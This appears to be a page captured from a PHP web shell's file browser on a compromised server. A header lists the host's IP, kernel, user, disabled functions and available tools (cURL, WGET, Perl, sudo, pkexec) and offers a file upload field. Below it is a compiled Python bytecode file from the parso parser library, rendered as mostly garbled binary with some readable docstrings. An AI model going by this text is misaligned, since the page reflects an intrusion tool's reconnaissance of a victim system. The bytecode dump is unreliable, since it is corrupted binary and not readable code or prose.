| Server IP : 217.160.0.135 / Your IP : 216.73.217.85 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /lib/python3/dist-packages/parso/pgen2/__pycache__/ |
Upload File : |
�
̑�a�8 � � � d Z ddlmZ ddlmZmZmZmZmZm Z ddl
mZmZ ed� � Z
G d� dee
� � Z G d� d � � Z G d
� dee
� � Z G d� d
� � Zd� Zd� Zd� Zd� Zdedefd�Zd� Zd� Zd� ZdS )a�
This module defines the data structures used to represent a grammar.
Specifying grammars in pgen is possible with this grammar::
grammar: (NEWLINE | rule)* ENDMARKER
rule: NAME ':' rhs NEWLINE
rhs: items ('|' items)*
items: item+
item: '[' rhs ']' | atom ['+' | '*']
atom: '(' rhs ')' | NAME | STRING
This grammar is self-referencing.
This parser generator (pgen2) was created by Guido Rossum and used for lib2to3.
Most of the code has been refactored to make it more Pythonic. Since this was a
"copy" of the CPython Parser parser "pgen", there was some work needed to make
it more readable. It should also be slightly faster than the original pgen2,
because we made some optimizations.
� )�literal_eval)�TypeVar�Generic�Mapping�Sequence�Set�Union)�
GrammarParser�NFAState�_TokenTypeTc �R � e Zd ZdZdedeeed f deedf fd�ZdS ) �Grammara
Once initialized, this class supplies the grammar tables for the
parsing engine implemented by parse.py. The parsing engine
accesses the instance variables directly.
The only important part in this parsers are dfas and transitions between
dfas.
�start_nonterminal�rule_to_dfaszDFAState[_TokenTypeT]�reserved_syntax_strings�ReservedStringc �0 � || _ || _ || _ d S �N)�nonterminal_to_dfasr r )�selfr r r s �7/usr/lib/python3/dist-packages/parso/pgen2/generator.py�__init__zGrammar.__init__/ s"